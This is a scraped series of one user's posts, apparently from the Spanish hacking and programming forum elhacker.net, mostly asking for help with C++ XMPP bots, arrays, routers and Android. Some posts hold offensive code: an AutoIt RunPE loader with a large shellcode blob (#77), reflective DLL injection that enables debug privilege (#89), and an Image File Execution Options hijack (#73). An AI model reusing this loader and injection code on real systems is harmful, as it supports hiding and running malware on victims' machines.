       case Message::Error:
           os << "Error";
           break;
       case Message::Groupchat:
           os << "Groupchat";
           break;
       case Message::Headline:
           os << "Headline";
           break;
       case Message::Normal:
           os << "Normal";
           break;
       case Message::Invalid:
           os << "Invalid";
           break;
       default:
           os << "unknown type";
           break;
   }
return os;
}

ostream& operator<<(ostream& os, const Message& stanza) {
   os << "type:'" << stanza.subtype() <<  "' from:'" << stanza.from().full() << "' body:'" << stanza.body() << "'";
   return os;
}

class Bot : public MessageHandler,
           /*public PresenceHandler,*/
           public ConnectionListener
           /*,public RosterListener*/{
public:
  Bot(){
     JID jid( "mmaaria123@gmail.com/home" );
     client = new Client( jid, "mmaaria123" );
     client->registerConnectionListener( this );
     client->registerMessageHandler( this );
     client->connect(true);
  }

   virtual void onConnect() {
       cout << "It is connected good:)"  << endl;
       //sleep(5);
       client->disconnect();
   }

   virtual void onDisconnect(ConnectionError e) {
       cout << "ConnListener::onDisconnect() " << endl;
   }

   virtual bool onTLSConnect(const CertInfo& Info) {

      time_t tm = Info.date_from;
      time_t tm_to = Info.date_to;
      cout << "\t Certificate information to " << LOGIN << endl;
      cout << "\t========================================" << endl;
     // number code << "\tServer status: " << Info.status;
       if (Info.status !=0)
           {
           cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
           cout << "\t !!!  The certificate has a problem !!!" << endl;
           cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
           // parsing binary Status Cert
           if ((CertInvalid) & Info.status)
               {
                   cout << "\t- The certificate is not trusted " << endl;
               }
           if (( CertSignerUnknown) & Info.status)
               {
                   cout << "\t- The certificate hasn't got a kown issuer" << endl;
               }
           if ((CertRevoked) & Info.status)
               {
                   cout << "\t- The certificate has been revoked " << endl;
               }
           if ((CertExpired) & Info.status)
               {
                   cout << "\t- The certificate has expired " << endl;
               }
           if ((CertNotActive) & Info.status)
               {
                   cout << "\t- The certificate is not yet active " << endl;
               }
           if ((CertWrongPeer) & Info.status)
               {
                   cout << "\t- The certificate has not issued for the peer we're connected to " << endl;
               }
           if ((CertSignerNotCa) & Info.status)
               {
                   cout << "\t- The signer is not CA " << endl;
               }
           cout << endl;
           }
           // end parsing
       else
           // if Info.status=0 sertificate is valide
           cout << " *** Cert is OK!" << endl;

      cout << "\tChain: " << Info.chain << endl;
      cout << "\tIssuer: " << Info.issuer << endl;
      cout << "\tServer: " << Info.server << endl;
      cout << "\tCert date from: " << ctime(&tm);
      cout << "\tCert date to: " << ctime(&tm_to);
      cout << "\tProtocol: " << Info.protocol << endl;
      cout << "\tCipher: " << Info.cipher << endl;
      cout << "\tMAC: " << Info.mac << endl;
      cout << "\tCompression: " << Info.compression << endl;
      cout << "\t========================================" << endl;
    return true;

   }

  virtual void handleMessage( const Message& stanza,
                              MessageSession* session = 0 ){
    Message msg(Message::Chat, stanza.from(), "hello world" );
    client->send( msg );
  }

private:
  Client* client;
};

int main( int argc, char* argv[] ){
   cout << "1" << endl;
   Bot b;
}


Gracias con antelacion.
#64
Windows 10 es más estable y windows 7 mucho más rapido y amigable. ¿Cuál pensais que es mejor?

Para mi el mejor era XP pero desde que no se puede actualizar los frameworks y dicen que es inseguro no cuenta para mi  :(
#65
Hola hay alguna de sacar de forma correcta y eficiente dos numeros que se encuentran en un array si yo conozco su máximo y su mínimo? El código sería del siguiente modo:
#include <iostream>
#include <sstream>
#include <vector>
using namespace std;

int num1,z,l,peque,grande;
int numero,division,resto,i,a,j;
int arr[4];
int mayor[4];
int menor[4];
int mayor1;
int fin = 0;
int menor1;
int contador = 0;

int prueba(int num){
    division = num;
    resto = num;

    for(i=0;i<=3;i++){
        resto = division%10;
        if(i==3){
            arr[i] = division;
        }else{
            arr[i] = resto;
        }
        division/=10;
    }
    int o,mini,maxi,u;


    mini=arr[0];
    maxi=mini;


    for(o=0;o<4;o++)
            {
            if (arr[o]<mini) mini=arr[o];
            if (arr[o]>maxi) maxi=arr[o];
            }

    peque = 0;

   
    mayor [0] = maxi;
    mayor [1] = grande;
    mayor [2] = peque;
    mayor [3] = mini;

    menor [0] = mini;
    menor [1] = peque;
    menor [2] = grande;
    menor [3] = maxi;

    stringstream ss;

    ss<<menor[0];   //this can be run as a loop
    ss<<menor[1];
    ss<<menor[2];
    ss<<menor[3];

    ss>>menor1;

    stringstream s;

    s<<mayor[0];   //this can be run as a loop
    s<<mayor[1];
    s<<mayor[2];
    s<<mayor[3];
    int con1,con2;
    con1=0;
    con2=0;
    s>>mayor1;
    fin = mayor1 - menor1;
}

int main(){
/* Declaramos el array y le damos valores */
    cout << "Introduce un numero: ";
    cin >> numero;
    fin = numero;
    while(fin!=6174){
        prueba(fin);
        break;
        cout << fin << " = " << mayor1 << " - " << menor1;
        cout << "\n";
        contador++;
    }
    cout << "Numero de intentos: " << contador;
    return 0;
}


Y para sacar el codigo de en medio supuestamente haria esto:
for(z=0;z<4;z++){
        num1=arr[z];
        if(arr[z] != mini || arr[z] != maxi){
            for(l=0;l<4;l++){
                if(arr[l]<num1 && arr[l] != maxi && arr[l] != mini){
                    peque=arr[l];
                    cout << peque;
                }else if(arr[l]>num1 && arr[l] != maxi && arr[l] != mini){
                    grande = arr[l];
                    cout << grande;
                }
            }
    }


Claro que cuando lo que cite anteriormente me repite los numeros muchas veces por lo que supongo que lo estaré haciendo mal. Hay alguna maneras de sacar los numeros de en medio. Tengo el numero 1234. Saque el máximo 4, el mínimo 1 pero como podría sacar el 2 y 3 por separado?
#66
Hola tengo una pregunta ya que a veces me bajo programas entonces queria preguntar si uso un anfitrion en linux y supongamos que el exe solo infecta en windows el tio no lo ha hecho para linux pero estoy conectado a internet me podria infectar el disco anfitrion es decir los windows q tengo en disco por medio del virtual tambien si un antivirus pero el que hace virus lo hace para saltarse el antivirus entonces q me recomiendan es aconsejable o lo ideal cuando se arranca un ejecutable de rara procedencia es usar el anfitrion en linux o sino una maquina virtual sin conexion a internet y usarlo y luego devolver la maquina como estaba q m e aconsejan.
#67
Hola estoy intentando obtener la IAT. El entry point de mi programa es el siguiente:



Y lordpe me indica que la tabla debería estar aquí:



Pero el calculator me muestra que empieza por 01000000.



Como podría sumar a mi entry point la direccion A048 que es donde se encuentra la IAT para encontrarla? Que posición me daría. Disculpar pero soy muy nuevo y no se muy como obtenerla.
#68
Normalmente me aparecía una opcion integer address para ver la iat pero solo me salen las siguientes:

No puedo ver la direccion de los enteros pero si de otros tipos de numero.
Parece que es long -> address no sé porque el numero cambia de integer a long?
#69
Si hay un código largo se puede poner como spoiler es decir que se minimize y uno lo agrande creo que no se puede?
#70
Hola decompile el código y luego lo abro como proyecto pero me lo muestra con símbolos supongo que me lo mostrará en hex hay alguna manera de mostrarlo en asm o se tiene que mostrar en hex, foto:

#71
Hola elhacker utiliza Feed RSS? gracias por adelantado!
#72
Herramientas usadas por la CIA para temas de hacking, revelado por wikileaks:
https://wikileaks.org/ciav7p1/cms/page_14587685.html

Algunos fueron ocultadas. La mayoría son métodos conocidos.
#73
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe


Key:

notepad.exe

Value:

Debugger (REG_SZ) : "C:\windows\system32\calc.exe"

Cuando abras notepad se te abrirá otro programa.
#74
Quiero un mensaje en una de mis aplicaciones que al iniciarse muestre Bienvenido , para ello hago lo siguiente:



Apunto la dirección del primer push que sería 005404F5, y selecciono Go to -> Origin:



Después sustituyo la primera dirección por un jmp a la dirección 005404F5.



Apunto la dirección 004C0EFF y hago un enter al jmp. Apunto la linea borrada debajo de mi código que sería CALL 004C0DB3 y hago un jmp de nuevo que sería, jmp 004C0EFF:



Guardo el ejecutable. Y me muestra el siguiente error:

´

He probado con mis programas, con los programas de windows, con todo y no consigo que muestre una alerta de bienvenido alguien podría analizar detenidamente los pasos que tomé o decirme cual es el fallo que cometí.
#75
Una reciente noticia que ha salido es que tanto Google como Microsoft darán recompensas a aquellos usuarios que descubran vulnerabilidades  :o pues si así es. Por encontrar vulnerabilidades graves que afecten a windows puedes conseguir hasta recompensas de $15,000 a $30,000. Simplemente tienes que encontrar una falla grave y reportar la falla en sus servicios y recibir la recompensa  :).

Por conseguir errores de ejecución de código remota puedes conseguir 20.000 dolares y 10.000 por acceder a sistemas de archivos restringidos o errores en sus bases de datos. Para conseguir la recompensa de $31,337 necesitas encontrar inyecciones de comandos,
escapes de sandbox y fallos de deserialización en aplicaciones altamente sensibles (como por ejemplo en Google Search, Chrome Web Store, Accounts, Wallet, Inbox, Code Hosting, Google Play, App Engine, and Chromium Bug Tracker). También son recompensadas las inyecciones de código SQL y escapes de sandbox XML eXternal Entity (XXE).

Por ataques XSS, ataques CSRF(Cross-Site Request Forgery), ejecucion de codigo desde el servidor, bugs de elevacion de privilegios, bugs en Outlook y office, etc .. podeis conseguir recompensas de $20,000 hasta $30,000.
Esta medida las ha adoptado ambas multinacionales para evitar cualquier lucrativa vulnerabilidad en sus aplicaciones o productos para evitar ataques de hacking.

Referencia(Buscar en google):
google-bug-bounty
#76
Hola la seguridad en windows no existe  :-[ cada vez hay mas descubrimientos y vulnerar antivirus y la proteccion de windows resulta más facil como podemos evitar que la gente puede verse afectada por otras personas sin escrupulos o a veces nosotros mismos  :-[ cada vez que estemos conectados a internet corremos peligro  :-[
#77
Hola estoy probando un Runpe en Autoit que cargue mi propio autoit  :o pero bueno por probar para ver si funciona el código es de un usuario de este foro:
[code width=200]
#cs -------------------------------------------------------
AutoIt Version: 3.3.8.1
Traducido Por..........: Pink
Agradecimientos: hamavb & iCodeInVB6
Script Function...: RunPE-ShellCode "Correr Ejecutable En memoria"
Uso..............: RunPE(Path,$archivobinario)
#ce -------------------------------------------------------

Global $path = @ScriptDir
Global $archivobinario = @ScriptFullPath

RunPE($path,$archivobinario)

Func RunPE($path,$filebin)


local  $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   $ASM &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   $ASM &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   $ASM &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   $ASM &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   $ASM &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   $ASM &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   $ASM &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"


Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]")
Local $binBuffer=DllStructCreate("byte[" & BinaryLen($filebin) & "]")


DllStructSetData($BufferASM, 1, $ASM)
DllStructSetData($binBuffer, 1, $filebin)




Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", _
           "ptr", DllStructGetPtr($BufferASM), _
           "wstr", ($path), _
           "ptr", DllStructGetPtr($binBuffer), _
           "int", 0, _
           "int", 0)

EndFunc


Me devuelve este error por :(?


Estoy un poco atontado y no consigo resolverlo!
#78
El equipo de proyecto Zero ha revelado errores que afectan a los navegadores Explorer y Edge.
Este error que fue descubierto el 25 de noviembre de 2016, permite a los atacantes ejecutar código arbitrario en estos navegadores. Este error puede ser explotado por medio de un ataque al HandleColumnBreak OnColumnSpanningElement. Para llevar a cabo el
ataque lo hace por medio de 17 lineas de código html centrado en dos variables rcx y rax.
Un atacante puede manipular la variable rax modificando las propiedades de la tabla, como el borde de espacios y la anchura de la primera etiqueta <th>. Por lo que la pagina maliciosa solo tiene que apuntar la variable rax a la memoria controlada.

Referencia:
Al grupo Zero que descubrió esta falla.

#79
Estoy creando una clase basada en la libreria gloox pero cuando creo un miembro de mi clase me devuelve el siguiente error:
error: cannot declare variable 'b' to be of abstract type 'Bot'|

#include "gloox/src/client.h"
#include "gloox/src/messagehandler.h"
#include "gloox/src/message.h"
#include "gloox/src/presencehandler.h"
#include "gloox/src/connectionlistener.h"
#include <ctime>
#include <iostream>
#include <string>
using namespace std;
using namespace gloox;
//my one
const string LOGIN = "gmail.com";
ostream& operator<<(ostream& os, Message::MessageType type) {
    switch (type) {
        case Message::Chat:
            os << "Chat";
            break;
        case Message::Error:
            os << "Error";
            break;
        case Message::Groupchat:
            os << "Groupchat";
            break;
        case Message::Headline:
            os << "Headline";
            break;
        case Message::Normal:
            os << "Normal";
            break;
        case Message::Invalid:
            os << "Invalid";
            break;
        default:
            os << "unknown type";
            break;
    }
return os;
}

ostream& operator<<(ostream& os, const Message& stanza) {
    os << "type:'" << stanza.subtype() <<  "' from:'" << stanza.from().full() << "' body:'" << stanza.body() << "'";
    return os;
}

class Bot : public MessageHandler,
            /*public PresenceHandler,*/
            public ConnectionListener
            /*,public RosterListener*/{
public:
   Bot(){
      JID jid( "mmaaria123@gmail.com/home" );
      client = new Client( jid, "mmaaria123" );
      client->registerConnectionListener( this );
      client->registerMessageHandler( this );
      client->connect(true);
   }

    virtual void onConnect() {
        cout << "It is connected good:)"  << endl;
        //sleep(5);
        client->disconnect();
    }

    virtual void onDisconnect(ConnectionError e) {
        cout << "ConnListener::onDisconnect() " << endl;
    }
/*
    virtual bool onTLSConnect(const CertInfo& Info) {

       time_t tm = Info.date_from;
       time_t tm_to = Info.date_to;
       cout << "\t Certificate information to " << LOGIN << endl;
       cout << "\t========================================" << endl;
      // number code << "\tServer status: " << Info.status;
        if (Info.status !=0)
            {
            cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
            cout << "\t !!!  The certificate has a problem !!!" << endl;
            cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
            // parsing binary Status Cert
            if ((CertInvalid) & Info.status)
                {
                    cout << "\t- The certificate is not trusted " << endl;
                }
            if (( CertSignerUnknown) & Info.status)
                {
                    cout << "\t- The certificate hasn't got a kown issuer" << endl;
                }
            if ((CertRevoked) & Info.status)
                {
                    cout << "\t- The certificate has been revoked " << endl;
                }
            if ((CertExpired) & Info.status)
                {
                    cout << "\t- The certificate has expired " << endl;
                }
            if ((CertNotActive) & Info.status)
                {
                    cout << "\t- The certificate is not yet active " << endl;
                }
            if ((CertWrongPeer) & Info.status)
                {
                    cout << "\t- The certificate has not issued for the peer we're connected to " << endl;
                }
            if ((CertSignerNotCa) & Info.status)
                {
                    cout << "\t- The signer is not CA " << endl;
                }
            cout << endl;
            }
            // end parsing
        else
            // if Info.status=0 sertificate is valide
            cout << " *** Cert is OK!" << endl;

       cout << "\tChain: " << Info.chain << endl;
       cout << "\tIssuer: " << Info.issuer << endl;
       cout << "\tServer: " << Info.server << endl;
       cout << "\tCert date from: " << ctime(&tm);
       cout << "\tCert date to: " << ctime(&tm_to);
       cout << "\tProtocol: " << Info.protocol << endl;
       cout << "\tCipher: " << Info.cipher << endl;
       cout << "\tMAC: " << Info.mac << endl;
       cout << "\tCompression: " << Info.compression << endl;
       cout << "\t========================================" << endl;
     return true;

    }
*/
   virtual void handleMessage( const Message& stanza,
                               MessageSession* session = 0 ){
     Message msg(Message::Chat, stanza.from(), "hello world" );
     client->send( msg );
   }

private:
   Client* client;
};

int main(){
    cout << "1" << endl;
    Bot b;
}

#80
Programación C/C++ / Como resolver este error
28 Febrero 2017, 18:00 PM
Me da el siguiente error:
||=== Build: Debug in main (compiler: GNU GCC Compiler) ===|
C:\Users\Androide\Desktop\main.cpp||In function 'BOOL IsElevated()':|
C:\Users\Androide\Desktop\main.cpp|13|error: 'Elevation' does not name a type|
C:\Users\Androide\Desktop\main.cpp|14|error: 'TOKEN_ELEVATION' was not declared in this scope|
C:\Users\Androide\Desktop\main.cpp|15|error: 'TokenElevation' was not declared in this scope|
C:\Users\Androide\Desktop\main.cpp|16|error: request for member 'TokenIsElevated' in 'Elevation', which is of non-class type 'DWORD {aka long unsigned int}'|
C:\Users\Androide\Desktop\main.cpp|10|warning: unused variable 'Elevation' [-Wunused-variable]|
||=== Build failed: 4 error(s), 1 warning(s) (0 minute(s), 2 second(s)) ===|


#include <iostream>
#include <windows.h>
#include <winnt.h>

using namespace std;

BOOL IsElevated( ) {
   BOOL fRet = FALSE;
   HANDLE hToken = NULL;
   DWORD Elevation;
   if( OpenProcessToken( GetCurrentProcess( ),TOKEN_QUERY,&hToken ) ) {
       DWORD Elevation;
       typedef Elevation TOKEN_ELEVATION;
       DWORD cbSize = sizeof( TOKEN_ELEVATION );
       if( GetTokenInformation( hToken, TokenElevation, &Elevation, sizeof( Elevation ), &cbSize ) ) {
           fRet = Elevation.TokenIsElevated;
       }
   }
   if( hToken ) {
       CloseHandle( hToken );
   }
   return fRet;
}

int main()
{
   bool valor=IsElevated( );

   if(valor==true){
       cout << "Tienes permisos de administrador";
   }else{
       cout << "Eres un usuario corriente";
   }
   system("pause");
   return 0;
}

#81
Redes / No puedo entrar a mi router
28 Febrero 2017, 13:08 PM
Cuando pongo la direccion mi router sale:
CitarCe site est inaccessible

192.168.1.1 n'autorise pas la connexion.
Essayez les suggestions ci-dessous :
Vérifier la connexion
Vérifier le proxy et le pare-feu
ERR_CONNECTION_REFUSED
:o
#82
Hola compilo mi proyecto como una librería en mi caso estoy usando la librería gloox por que lo que obtengo lo siguiente:



cuando la añado a mi proyecto:



La ubicación principal de mi libreria(gloox es la carpeta y se encuentra en el escritorio):



La ubicacion de mis librerías será la siguiente:



Lo que hago es compilar mi librería de forma estatica y añadirla a mi programa principal. Pero cuando incluyo las cabeceras de esta libreria no me las reconoce ni el nombre de espacios gloox que sería:

using namespace gloox;.

Los include:

#include <src/client.h>
#include <src/message.h>
#include <src/messagehandler.h>
#include <src/connectionlistener.h>


No reconoce ningun elemento de la librería, me devuelve lo siguiente:

C:\Users\Androide\Desktop\chat\main.cpp|3|fatal error: gloox/src/client.h: No such file or directory|

¿Puede ser que al hacer una compilación estática cambie la ubicación de mis cabeceras? ¿No añadí mi libreria correctamente o porque no reconoce en este caso debería reconocer la ubicación src/ y dentro tendría todas mis cabeceras.
#83
Hola estoy aprendiendo mi armitage tengo un ordenador mio windows 7 conectado lo primero me pone que es un windows 2008  :silbar: lo cual no se porque.
Bueno lo que hago es escanear y me aparece mi router y mi equipo.
Pero cuando pongo find attacks, no me sale ni un ataque para mi equipo alguien sabe porque?
#84
Para que sirve y que es un fichero .o? Se utilizan mucho para linkear pero desconozco que son como funcionan y para que se utilizan  :huh:
#85
Seguridad / armitage falla al loguearse
26 Febrero 2017, 01:52 AM
Hola estoy usando armitage tengo el postgresql iniciado. msfdb init o para volver a crearlo msfdb reinit el problema es que me crea la contraseña automaticamente y no me da tiempo a poner la deseada.
Despues chequeo en el fichero que me crea:
development:
 adapter: postgresql
 database: msf
 username: msf
 password: Sem6dYohSorf4IipsA7qJ6YrBJnnTlrTMfWcB3q6/xM=
 host: localhost
 port: x
 pool: 5
 timeout: 5

production:
 adapter: postgresql
 database: msf
 username: msf
 password: Sem6dYohSorf4IipsA7qJ6YrBJnnTlrTMfWcB3q6/xM=
 host: localhost
 port: x
 pool: 5
 timeout: 5


Me crea una contraseña luego la pongo en armitage y falla me devuelve lo siguiente:


Tengo que usar la contraseá que me da no puedo modificarla me la crea automaticamente y tengo que copiar y poner la misma. Es decir no puedo cambiarla.
#86
Foro Libre / derechos de autor en internet
22 Febrero 2017, 20:43 PM
Tengo una pregunta sobre esto una imagen de internet puede ser utilizada ? En caso contrario, sino puede ser utilizada puede acarrear problemas de autor como puedo buscar imagenes que puedan ser utilizadas sin infrinjir los derechos de autor? En otras palabras que paginas puedo utilizar para descargarme fotos que no acarreen problemas legales. Gracias.
#87
Redes / el wifi super lento
21 Febrero 2017, 23:44 PM
Tengo constantemente como cortes en la red probe a cambiar de canal pero es como si hubiera cortes alguna sugerencia para resolverlo?
#88
Bueno es una pequeña sugerencia tal vez erronea por mi parte pero la hago cambiar los cuadros del codigo para que sean mas agradables a la vista o al menos que cada línea pueda enumerarse con un numero pulsando un view ejemplo:
Clásico:
Este es un ejemplo de codigo
Diferente(en la esquina un view para enumerarlo:
1. Este  es un ejemplo de codigo
2.numerado pulsando el boton switch
3.#los comentarios con colorines

Y el color en comentarios. no se tal vez sea error por mi parte sería algo como hacerlo más comprensible o más agradable para que la gente pueda entender mejor ya que a veces una imagen vale mas que mil palabras. es solo una sugerencia tal vez innecesario grax.
#89
Hola estoy intentando inyectar mi .dll, el problema reside cuando hago la inyección loadlibrary no carga mi dll. Esta sería la función que invoco para hacer mi inyección:
Esta sería la función que invoco para hacer mi inyección:
BOOL InjectorFunc(DWORD dwProcessId, BOOL isTarget64Bit)
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
TOKEN_PRIVILEGES priv = { 0 };

do
{


dwLength = isTarget64Bit ? x64PayloadSize : x86PayloadSize;
if (dwLength == INVALID_FILE_SIZE || dwLength == 0)
BREAK_WITH_ERROR("Failed to get the DLL file size");
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
if (!lpBuffer)
BREAK_WITH_ERROR("Failed to get the DLL file size");


if(0!=memcpy_s(lpBuffer, dwLength, isTarget64Bit ? x64PayloadByteArr : x86PayloadByteArr, isTarget64Bit ? x64PayloadSize : x86PayloadSize))
BREAK_WITH_ERROR("Failed to copy buffer!");
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL);

CloseHandle(hToken);
}

hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
if (!hProcess)
BREAK_WITH_ERROR("Failed to open the target process");

hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength,&argsToDLL);

if (!hModule)
BREAK_WITH_ERROR("Failed to inject the DLL");
TCHAR cpDllFile[DLL_NAME_LENGTH];
wcscpy_s(cpDllFile, DLL_NAME_LENGTH, isTarget64Bit ? x64PayloadName: x86PayloadName);
printf("[+] Injected the '%ws' DLL into process %d.\n", cpDllFile, dwProcessId);

WaitForSingleObject(hModule, -1);

} while (0);

if (lpBuffer)
HeapFree(GetProcessHeap(), 0, lpBuffer);

if (hProcess)
CloseHandle(hProcess);

return TRUE;
}


Y me hace break como cito en el código y me devuelve error 87.
CitarFailed to inject the DLL. Error=87
#90
Hola hace un tiempo hice un curso de android bueno me lo mire por así encima y bueno más o menos domino el tema no esque tenga mucha creatividad eso es un punto en contra pero ultimamente no lo estoy aprovechando apenas y lo he dejado de lado cuando la mayoría usa un telefono y es bien importante pues eso algun consejo donde pueda seguir invoculandrome en el tema en el momento se hacer aplicaciones sencillas, pasar parametros, el temas de controles, botones ,etc, un poco de creatividad, tambien cosillas raras como meter sonidos etc pero querria seguir por eso que me recomendais que siga haciendo aplicaciones facilitas o deba aprender más gracias! Al mismo tiempo preguntaros si sigo con eclipse y los sdk o  es mejor android studio *Pienso que a lo mejor un juego vendría bien* , Tambien preguntar en IOS usare el mismo lenguaje en mi caso Java y hay mucha diferencia?